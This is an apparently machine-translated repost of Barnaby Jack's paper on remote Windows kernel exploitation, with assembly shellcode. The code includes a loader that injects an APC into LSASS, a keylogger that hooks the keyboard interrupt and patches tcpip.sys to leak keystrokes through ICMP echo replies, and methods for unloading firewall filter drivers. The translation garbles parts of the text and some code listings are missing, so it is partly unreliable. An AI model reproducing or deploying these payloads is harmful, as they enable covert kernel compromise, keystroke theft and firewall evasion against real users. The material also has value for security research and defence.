Windows Remote Kernel Vulnerability Injection

Source: Internet
Author: User
Tags apc

Author: Barnaby Jack

Translation: Polaris 2003

Email: zhangjingsheng_nbu@yahoo.com.cn

Link: http://hi.baidu.com/wwwanq/

Core Region and user Region

The i386 system supports four access permissions, that is, the level of privilege. Windows NT uses two of these permissions so that the NT operating system can run in a system that does not fully support these four levels of privileges.

 

User RegionCodeFor example, ApplicationProgramAnd system services run at three levels. User-mode processes can only access the 2 billion-byte memory allocated to them, and user code can be switched by pages and context.

 

The core-level code runs at level 0, and the hardware abstraction layer, device drivers, Io, memory management, and graphical interfaces all run at level 0. Code executed at level 0 has all the privileges of the system during the runtime, and can access all the memory and use privileged commands.

 

Native API

Due to the design, the user mode process cannot arbitrarily switch the permission registration, this function will involve the overall Windows NT security model. Of course, this security model consists of multiple periods.

 

Sometimes user-State jobs cannot be completed without the core-level functions, which is why native APIs are introduced. Native APIs are non-documented internal function sets and run in kernel mode. Native APIS exist to provide some ways to securely call kernel-mode services in user mode.

 

A user application can call the native API exported by NTDLL. dll. A large number of functions exported by NTDLL. dll are used to encapsulate the corresponding kernel functions. If you disassemble a function, you will find that the result is similar to the following:

Windows 2000:

MoV eax, 0x0000002f

Lea edX, [esp + 04]

Int 0x2e

 

Each native API exported by NTDLL can be decompiled into a code segment (stub) that can switch the execution environment to the kernel mode ). first, the register loads an index value pointing to the system service table, and then accesses the required function at the corresponding offset position of ntoskrnl.

Windows XP:

MoV eax, 0x0000002f

MoV edX, 7ffe0300

Call edX

At offset 0x7ffe0300:

MoV edX, ESP

Sysenter

RET

 

If your configuration is Pentium II or higher, the situation may be somewhat different in Windows XP. Windows XP uses the sysenter/sysexit command pair to switch the kernel mode to the user mode, which makes it difficult to create a shell code and will be explained in detail later.

 

To successfully create shell code in kernel mode, you must forget all user-level APIs and only use native functions.
API. For more information about native APIs, see the Windows NT/2000 native API
Referce.

 

The essence of blue screen

 

When you find a vulnerability and send data packets to a remote system, there is a blue screen problem. To successfully inject a kernel-level vulnerability, you must first understand the principle of "Blue Screen of Death.

 

When you see bsod, this means that the native function kebugcheckex is called. This error can be caused in two cases:

1. Abnormal calls from the kernel

2. Call kebugcheckex directly by the error detection mechanism

 

The kernel exception chain processing mechanism is as follows:


When an exception occurs, the kernel obtains control through the IDT (Interrupt Descriptor Table) function entry (kitrapxx. These functions constitute a level 1 trap handler (trap
Handler), the interrupt handler may handle the exception independently, or pass the exception to the next exception handler, or if the exception cannot be handled, directly call
Kebugcheckex.

 

In either case, to understand the cause and location of the exception, we need to get a trap pair (trap
Frame ). The trap register is a structure similar to the context. With this structure, the status of all registers and the abnormal address pointed by the instruction register can be obtained. I prefer to use
The SoftICE debugger of compuware/numware is used to complete all the work. However, windbg provides better structure recognition capability when debugging the trap token. If you only use
SoftICE, I must manually locate previous stack parameters.

 


If your computer has set the memory dump function for the blue screen, the default storage path for this file is % SystemRoot %/memory. dmp. Load windbg and select "hit
Open crash dump "loads the saved files. The following is an example of using the trap handler to directly call kebugcheckex.

 

After loading the memory dump file, windbg displays the following:

 

 

 

 

Windbg shows that kebugcheckex is called by the self-trapping program kitrapoe and the trap token address is 0x8054199c. Now we use the "trap address" command to display the content of the trap token.

 

 

 

Now we can see the status of all registers when an exception is thrown, and some memory areas can also be displayed. The value of the instruction register is 0x41414141, indicating that it is in the user region. Now we can change the execution process as needed.

 

In this case, the data is located by the ESP register:

 

 

 

Now, we can use the offset values such as jmp esp, call ESP, push ESP/ret to replace 0x4141414141 for execution process redirection. We can use any standard overflow technology to reproduce the vulnerability overflow.

 

If kebugcheckex is triggered by the exception handling mechanism, the trap Delimiter is passed to the kidispatchexception as the third parameter. In this case, you need to pass the address of the third parameter to the self-trap command.

 

When the process is redirected to an offset address, the offset address must be a static memory address (that is, the address in the memory remains unchanged ).

 

Shell code example

The first shell code example is "kernel loader", which allows you to insert code into any user area and perform the code safely, this is convenient for executing remote shell code and any user-level shell code.

 

The second example is pure kernel. This example creates a user keyboard interrupt handler to capture all keyboard input messages. Then use shell code
Tcpip. sys ICMP handler to allow the keyboard buffer to pass through ICMP
The echo request is returned to the remote system. This code is very small and uses a small number of API functions. To fully understand the following example, I copied the correspondingSource code.

The "kernel Loader"

There are many technologies that can switch the code from the kernel state to the user State and execute it. For example, you can change the EIP of the thread being executed, let it point to its own code-if this technology is used, running processes will destroy themselves.

 


You can use the rtlcreateuserthread and rtlcreateuserprocess functions in ntoskrnl to create
SMSs. EXE (the only process without a parent process, which is directly created by the kernel ). However, there are two problems: first, they are not exporting functions; second, they are a bigger problem.
In the ntoskrnl init section, this means that the two functions have been executed before the process is executed. Therefore, you need to remap ntoskrnl and initialize some global variables.
(_ Mmhighestuseraddress and _ ntglobalflag), you also need to find the first address of the function.

 

Another feasible method is to create a remote thread in the user domain process and execute the thread directly. Firew0rker in hisArticleSpeaking of these: http://www.phrack.org/phrack/62/p62-0x06_Kernel_Mode_Backdoors_for_Windows_NT.txt

 

Unfortunately, this method is also flawed. When executing user-level code, the API function CreateProcess may fail because the CSRSS subsystem must be notified. You need to obtain workund und again and create a new context structure in the user-level shell code.

 

To keep Shell
The Code should be as small as possible, and the preceding workaround is not a feasible option to insert code into any user domain without any changes. Because this method is the same
Using the export function of NTDLL will cause certain problems in systems other than Windows 2000. Windows
2000 The ox2e interrupt can be used to implement switching between Level 3 and level 0, which can be safely executed at level 3 or level 0.

 

However, a problem occurs in Windows XP.
XP uses sysenter and sysexit command pairs to implement switching between level 0 and Level 3. If you call the NTDLL export function directly in the kernel, the blue screen is approaching. To understand
To solve this problem, it is necessary to query additional code for the ntoskrnl function in the system service table. I decided to use asynchronous procedure
To execute the shell code of the user domain. This method only uses the function directly exported by ntoskrnl.

 

When an alarm Wait Status (alertable wait
State) "to use APC in the user thread. This function must be executed immediately. The thread that is in the "alarm waiting status" may be because sleepex is called,
Waitforsingleobjectex,
Functions such as signalobjectandwait and msgwaitformultipleobjectsex set alertableflag to true.
This method requires the least number of API calls and is relatively reliable.

 

All the functions we will use are exported by nooskrnl. The first step is to manually obtain the base address of ntoskrnl.
"Mid-Delta" technology: first obtain a pointer pointing to the ntoskrnl address space, and then decrease until the Pointer Points to the executable file sign "MZ. To get a point
Ntoskrnl address space pointer, We can first obtain the first entry address of the Interrupt Descriptor Table (IDT), because the address usually points to
1.

 

The code below is to access the IDT to get a memory pointer, and then find the base address by decreasing the pointer.

MoV ESI, dword ptr ds: [0ffdff038h]; get IDT address

Lodsd

CDQ

Lodsd; get pointer into ntoskrnl

@ Base_loop:

Dec eax

Cmp dword ptr [eax], 00905a4dh; detect the "MZ" mark

Jnz @ base_loop

 


Generally, the sidt command is used to obtain the IDT base address. Because the IDT is also pointed by the pointer of 0xffdff038 address, I can directly access the IDT address, which can also be reduced
The number of bytes. Maybe you will notice that the above Code does not get the correct IDT entry address, we just get the entry address's high-text part, this is because the lower part's area range is 0-
0 xFFFF, which is ignored and still in the ntoskrnl memory address space.

 

Hash_table:

DW 063dfh; "pslookupprocessbyprocessid" _ pslookupprocessbyprocessid equ [EBX]

DW 0df10h; "kedelayexecutionthread" _ kedelayexecutionthread equ [EBX + 4]

DW 0f807h; "exallocatepool" _ exallocatepool equ [EBX + 8]

DW 057d2h; "zwyieldexecution" _ keyieldexecution equ [EBX + 12]

DW 07b23h; "keinitializeapc" _ keinitializeapc equ [EBX + 16]

DW 09dd1h; "keinsertqueueapc" _ keinsertqueueapc equ [EBX + 20]

Hash_table_end:

 

Next, we can create a hash table. Each required function has a long hash table item. Function Name string in Win32 shell
Code usually occupies a large amount of space, so it is more reasonable to use the hash mechanism. Each function pointer is stored in a table, and can be stored by Shell
Code is accessed through the EBX register.


Next we will execute the standard "getprocaddress", which will analyze the export table of ntoskrnl and obtain the entry address of the corresponding function. The hash table here is a bit special, just for export
Each byte of the function name performs the XOR/ror operation. I use a long-character hash table instead of a two-character long hash table to minimize the length of shell code.

 

Once the entry address of all the functions to be used is obtained, the next task is to allocate a new memory block for storing Shell
Code. Because the Code also resides on the stack, you must copy the code to the new memory block. Otherwise, the next kernel function will overwrite the large area, especially when our request reduces IRQL.
(Interrupt request level.

 

We pass nonpagedpool as a parameter to exallocatepool, then copy the shell code to the non-paged area, and then simply execute a JMP command to this memory area. Now, all the code can be safely executed without being affected.

 


When injecting drivers, we must be aware of the current IRQL. IRQL is the current hardware priority of a specified kernel program. Many kernel programs request IRQL
Passive (0 ). If it runs at dispatch (2) level (used for program scheduling and latency Process calling), IRQL must be dropped to passive.
This is just a simple task. You only need to call the export function kelowerirql of Hal and use 0 (passive) as the parameter.

 


Now we need to bind the user domain code to the process, and we must first get the eprocess structure pointer, each process has a corresponding eprocess structure. For all the structures of this article
More information can be obtained through the dump struct in windbg (for example, DT
NT! _ Eprocess ). The function we want to use requires the eprocess offset address. If we can get a pointer to all eprocess structures, we can traverse
Has a structure to get all the current active processes.

 


Generally, you can call psgetcurrentprocess to obtain the first eprocess structure. Unfortunately, when a remote driver is injected, we may
Injected into a process in the "Waiting" status, the "Waiting" process does not return a valid process control block. I used pslookupprocessbyprocessid to replace,
The PID of the "System" process is used as the parameter. In Windows XP, this value is 4, while in Windows 2000, this value is 8.

 

Lea EBP, [edi-4]

Push EBP

Push 04

Call dword ptr _ pslookupprocessbyprocessid; obtain the system eprocess

MoV eax, [EBP]; get the system eprocess structure pointer

 


The first eprocess structure is obtained. Now we can access all active processes. Although I chose to inject code into the LSASS address space, all running system processes are suitable.
Target. To access LSASS, The eprocess and activeprocesslinks point to each entry address in a circular manner and compare it with the LSASS Module name.
Relatively.

 

MoV Cl, ep_activeprocesslinks; offset to activeprocesslinks

Add eax, ECx; get address of eprocess + activeprocesslinks

@ Eproc_loop:

MoV eax, [eax]; get next eprocess struct

MoV Cl, ep_modulename

Cmp dword ptr [eax + ECx], "SASL"; is it LSASS?

Jnz @ eproc_loop

 

Once you locate the LSASS process, you can subtract the activeprocesslinks offset value to get the offset value between LSASS and the first eprocess structure.

 

The next step is to set the shell
Copy the code to the target memory. At first, I plan to store the code in peb. In the past, peb was always mapped to 0x7ffdf000, but in XP
In SP2, The peing addresses of peb are random. Although you can find peb through 0xffdff000-> 0x18-> 0x30, we have a better choice: store the code
To the kernel-user-shared memory area, usually known as shareduserdata. 0xffdf0000 is a writable memory area where we can save our code. Inside
The storage region is mapped from the user domain marked as read-only 0x7ffe0000, which is the same on all platforms, so this is a good choice.
Since the memory in this region is readable for all processes, it is necessary to switch the address space to the target process and write the code directly from the kernel to 0xffdf0000 + 0x800. When
When queuing a user mode APC, 0x7ffe0000 + 0x800 is used as the parameter.

 

Call @ get_eip2

@ Get_eip2:

Pop ESI

MoV CX, shell code-$ + 1

Add ESI, ECx; get shell code address

MoV CX, (shell code_end-shell Code); shell code size

MoV dword ptr [EDI], smem_addr; 0xffdf0000 + 0x800

Push EDI

MoV EDI, [EDI]; copy shell code to shareduserdata

Rep movsb

Pop EDI

 


Now you need to find a thread that can execute the APC function. APC can be the kernel mode APC or the user mode APC. Here, a user mode APC is queued. If the thread to be passed does not have
If the status is "alarm waiting", the user mode APC will not be called. As I mentioned earlier, a thread can call sleepex,
Signalobjectandwait, msgwaitformultipleobjectsex and
Waitforsingleobjectex sets the balertable to true to enter this state. Find an available thread to access the ETHREAD OF THE PROCESS
Pointer, and traverse each thread until we find the thread we need.

 

MoV edX, [EDI + 16]; pointer to eprocess

MoV ECx, [edX + et_threadlisthead]; get ETHREAD pointer

@ Find_delay:

MoV ECx, [ECx]; get next thread

CMP byte PTR [ecx-ET_ThreadState], 04 H; thread in delayexecution?

Jnz @ find_delay

 

The above code first obtains the lsass ethread structure pointer through threadlisthead list_entry in the eprocess structure, and then detects the thread status mark. Once the target thread is found, we set EBP to point to the ktread structure. Next we need the initial APC program.

 

XOR edX, EDX

Push edX

Push 01; push Processor

Push dword ptr [EDI]; push EIP of shell code (0x7ffe0000 + 0x800)

Push edX; push null

Push offset kroutine; push kernel routine

Push edX; push null

Push EBP; push kthread

Push ESI; push APC object

Call dword ptr _ keinitializeapc; initialize APC

 

Let's set the user mode to Shell
The Code (stored in shareduserdata) EIP is used as the keinitializeapc parameter, and a kernel program that will be called must be passed. We do not need
This program does anything, just need to direct the returned command to Shell
Code. The kthread structure of this thread is also necessary for executing our APC program. The APC object will be returned by the ESI register in the form of pointer variables. Now we can
The APC program is inserted into the APC queue of the target thread.

 

Push eax; push 0

Push dword ptr [EDI + 4]; System ARG

Push dword ptr [EDI + 8]; System ARG

Push ESI; APC object

Call dword ptr _ keinsertqueueapc

 

The last function is keinsertqueueapc used to send APC. In the above Code, eax is 0, and the two system parameters are pointer to the empty address. Of course, the APC object previously returned by keinitializeapc is also passed.

 

Finally, in order to prevent the newly initialized load Thread from returning and displaying a blue screen, pass 0x80000000: 00000000 to the kedelayexecutionthread to sleep the thread.

 

Push offset large_int

Push false

Push kernelmode

Call dword ptr _ kedelayexecutionthread

 

If, by accident, we enter the "idle" address space, this call will fail. The solution to this problem is to stop executing the line city and continue the loop. The code snippets are as follows:

 

@ Yield_loop:

Call dword ptr _ keyieldexecution

JMP @ yield_loop

 

Fortunately, the user mode thread should still be safely executed in the system process you selected. If you call exitthread to exit the user code after completing the APC function, the system is likely to be stable.

 

 

The ICMP patching interrupt hooking key-logger

When I chatted with Derek soeder from eeye, we discussed which useful shells are completely composed of kernel-level code.
Code. One idea is kernel-level key-logger, which can return the keyboard buffer to a remote thread. Obviously, this is a shell
Code, creating a complete keyboard filter and communication pipeline may be much beyond the acceptable code length range, so it is necessary to take shortcuts.

 


We use the DOS-era technology to replace the keyboard interrupt handler entry with our own code entry to capture scan code, rather than binding a keyboard filter to capture keyboard messages. I decided to modify
The ICMP processing body of the tcpip. SYS driver, instead of returning keyboard messages to remote users through the self-created pipeline. Patch modified ICMP
Echo processing body. Use our own Keyboard Buffer to replace the original buffer. When an ICMP echo request is sent to a remote system, the captured buttons are returned.

 

Step 1: Replace the IDT entry of the keyboard handler with the entry of our own interrupt handler. Now, Windows XP and 2000
SP4 has an IRQ interrupt vector table stored in the Hal memory area. We can easily search for neighboring flag bytes and query the interrupt vectors corresponding to irq1 (Keyboard IRQ. Early services
In the package, for example, Window 2000 sp0, this table does not exist, but the interrupted vector table is static, rq1 = Vector 0x31, irq2 =
Vector 0x32 and so on. The following code first attempts to locate the vector table. If the positioning fails, the interrupt vector 0x31 will be used directly.

 

MoV ESI, dword ptr ds: [0ffdff038h]; get the IDT base address

Lodsd

CDQ

Lodsd; get the ntoskrnl address space pointer

@ Base_loop:

Dec eax

Cmp dword ptr [eax], 00905a4dh; MZ mark Detection

Jnz @ base_loop

Jecxz @ hal_base; Save the ntoskrnl base address to eax

Xchg edX, eax

MoV eax, [edX + 590 H]; get the pointer of A Hal Function

XOR ECx, ECx

JMP @ base_loop; find the base address of Hal

@ Hal_base:

MoV EDI and eax; Save the base address of Hal to EDI

MoV EBP, EDX; Save the ntoskrnl base address to EBP

ClD

MoV eax, 41413d00h; flag byte "= AA/0"

XOR ECx, ECx

Dec CX

SHR ECx, 4

Repnz scasd; get the Offset Value in the IDT table

Or ECX, ECx

JZ @ no_table

Lea EDI, [EDI + 01ch]; get the pointer of the phase table

Push EDI

INC eax; IRQ 1

Repnz scasb

Pop ESI

Sub EDI, ESI

Dec EDI; get keyboard interrupt

JMP @ table_ OK

@ No_table:

MoV EDI, 031 h; if the phase table does not exist, use static values

@ Table_ OK:

Push edX

Sidt [esp-2]; get IDT

Pop edX

Lea ESI, [edX + EDI * 8 + 4]; entry to the keyboard handling body in IDT

STD

Lodsd

Lodsw; eax is the entry address of the keyboard processing body

MoV dword ptr [handler_old], eax; save

 


First, locate the base addresses of nosokrnl and Hal. dll, and then search for the "= AA/0" mark in the Hal address space, which identifies the trql-
Start of TPR conversion table. If this identifier is found, we directly set the interrupt vector to 0x31. If the IRQ table is not found, the required offset value is at 0xc1h of the irq table. Then we
Locate the vector corresponding to the keyboard irq1 and use the sidt command to obtain the IDT base address. The formula for getting the entry of the interrupt vector IDT is as follows:

Idt_base + int_vector * 8

 

Obtain the address of the original interrupt handler from the IDT and store it at the starting position of our handler. Therefore, when our handler completes a specific function, it can be returned to the original handler. The following code replaces the original handler entry with the custom interrupt handler entry in IDT:

 

ClD

MoV eax, @ handler_new

CLI; block interruptions when the entry address is changed

MoV [ESI + 2], ax; rewrite IDT entry with new entry address

SHR eax, 16

MoV [ESI + 8], ax

STI; resume allowable interrupt signal

 


Next we will call the exallocatepool to allocate a buffer for storing captured keyboard input. We also need to analyze the ntoskrnl
Psloadedmodulelist is used to locate the base address of tcpip. SYS. Unfortunately, psloadedmodulelist is not a public export function, so we need
You need to manually locate.

 

The mmgetsystemroutineaddress function exported by ntoskrnl uses this linked list.

 

To obtain the required pointer, we take the address of mmgetsystemroutineaddress as the parameter and manually locate psloadedmodulelist by incrementing the address.

 

MoV EDI, _ mmgetsystemroutineaddress

@ Mmgsra_scan:

INC EDI

MoV eax, [EDI]

Sub eax, EBP

Test eax, 0ffe00003h

Jnz @ mmgsra_scan

MoV EBX, [EDI]

Cmp ebx, [EDI + 5]; detects pointer of psloadedmodulelist

Je @ pslml_loop

Cmp ebx, [EDI + 6]

JNE @ mmgsra_scan

@ Pslml_loop:; find _ psloadedmodulelist

MoV EBX, [EBX]

MoV ESI, [EBX + 30 h]

MoV edX, 50435449 h; "ITCP", determine whether tcpip. SYS module?

Push 4

Pop ECx

@ Pslml_name_loop:

Lodsw

Ror edX, 8

Sub Al, DL

Je @ pslml_name_loop_cont

CMP Al, 20 h

@ Pslml_name_loop_cont:

Loopz @ pslml_name_loop

@ Pslml_loop_cont:

Jnz @ pslml_loop

MoV EDI, [EBX + 18 h]; base address of tcpip. SYS module

 

The above code first traverses the mmgetsystemroutineaddress program to search for the pointer of the linked list. The structure of the system Referer chain table is as follows:

 

+ 00 h list_entry

+ 08 h ???

+ 18 h lpvoid Module Base Address

+ 1ch lpvoid PTR to entry point function

+ 20 h DWORD size of image in bytes

+ 24 h unicode_string full path and file name of Module

+ 2ch unicode_string module File Name Only

...

 

Next, analyze the linked list to obtain the base address of the tcpip. SYS module.

 

The code is more like the software crack than the network shell code because we are about to modify the TCPIP driver, which means we can accept keyboard input captured by the remote system. There are many ways to change the ICMP echo handler as a communication channel.

 

In sendecho of tcpip. sys, we will use shell code. The complete disassembly code is too long. The following is a code snippet of the relevant part:

 

 

From the disassembly code above, [edX + 8] is a pointer to the icmp echo buffer, so you can modify the code above to change the [edX + 8] pointer to our Keyboard Buffer, this is just an easy task.

 

MoV eax, 428be85dh; byte sequence in the tcpip. sys address space

@ Find_patch:

INC EDI

Cmp dword ptr [EDI], eax

Jnz @ find_patch

Add EDI, 5

MoV Al, 68 h

Stosb; store "push"

MoV eax, EDX; edX points to the Keyboard Buffer

Stosd; Save the keyboard buffer pointer

MoV eax, 08428f90h; "Pop [edX + 08 h]/NOP"

Stosd

 

You can modify the following code:

Push keybuffer_offset

Pop [edX + 8]

NOP

 

When an ICMP echo request is sent to a remote system, the feedback packet includes captured keyboard input, it is easy to replace the interrupt handler-when there is a button event, our program will be called, then read the Keyboard Scan code from the keyboard break and save it to the key buffer.

 

@ Handler_new:

Push 0 deadbeefh; Save the current handler pointer

Handler_old equ $-4

Pushfd

Pushad

XOR eax, eax

Lea EDI, keybuf; rewrite with the allocated buffer address

Kb_patch equ $-4

In Al, 60 h; obtain the Keyboard Scan code

Test Al, Al; no scan code?

JZ @ done

Push EDI

MoV ECx, [EDI]

Lea EDI, [EDI + ECx + 4]

Stosb; store code in buffer

INC ECx

Pop EDI

Cmp cx and 1023

Jnz @ done

XOR ECx, ECx

@ Done:

MoV [EDI], ECx

Popad

Popfd

DB 0c3h; returns to the original processing program

 

Once a key message is generated, the above Code is called, and the initial interrupt handler handle (which has been rewritten) is pushed into the stack. Read the current scan code from the 0x60 fracture and save it to the allocated buffer zone. This buffer can save 0x3ff keyboard input. If there is a scan code later, it will overwrite the previous part.

 

Thoughts on injecting fire wall drivers


Many issues need to be considered when a kernel-level vulnerability is injected into the firewall driver. The vulnerability we will demonstrate is caused by the DNS feedback process.
Processed by symdns. sys. If the DNS processing process fails to return, socket cannot be used for communication. Before studying this problem, we must first understand the communication machines at multiple protocol layers.
.

The following is a summary of the network layer:

1 ). Network Driver Interface Specification Layer)

NDIS provides a path for transmission from a physical device to a network

The NDIS driver directly deals with network adapters.

2 ). Network Protocol Layer)

Here is TCP/IP. (tcpip. sys)

3 ). Transport Driver Interface Layer)

TDI provides interfaces for network protocols, client protocols, and network APIs such as Winsock.

4 ). Network API Layer)

Network application interfaces, such as WinSock, provide programming interfaces for network applications.

 

All host-based firewall restrictions work in kernel mode. Generally, you can filter drivers by using TDI or NDIS hooks. Although I have never seen such a fire wall product, it is also possible to hook up the AFD interface.

 

The problem we are facing: symdns. sys must return to the TDI filter driver symtdi. SYS. Unfortunately, once we execute our shell code, the communication will not end. Here are some solutions:

 

(A) "clean" returns

The Clean return includes returning from shell code without bsod, and including continuing normal communication, which is difficult to implement. The attacked stack is not in the optimal status, so it must be returned to the original stack rollback status.

 

(B) uninstall the filter driver of TDI or NDIS


Uninstall the filter driver is another feasible method. We can easily call the uninstall program of the driver, which is equivalent to calling from the DriverEntry Program
Driverobject-> driverunload. The offset address of the driver can be obtained through driver_object of the target driver.


If the driverunload member driver_object is empty, it indicates that the uninstall program of the target driver does not exist. Driver_object can be
The device_object parameter can be referenced by passing the driver name as a parameter to iogetdeviceobjectpointer.
Device_object pointer.

 

(C) detach or delete a Driver (detach/Delete the devices)

The driver can call ioattachdevice or ioattachdevicetodevicestack
If you attach a device object to another device, the request to the original device is first sent to the device immediately. We can pass device_object as a parameter
Iodetachdevice to separate the driver. You can pass device_object as a parameter to iodeletedevice to remove the device.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.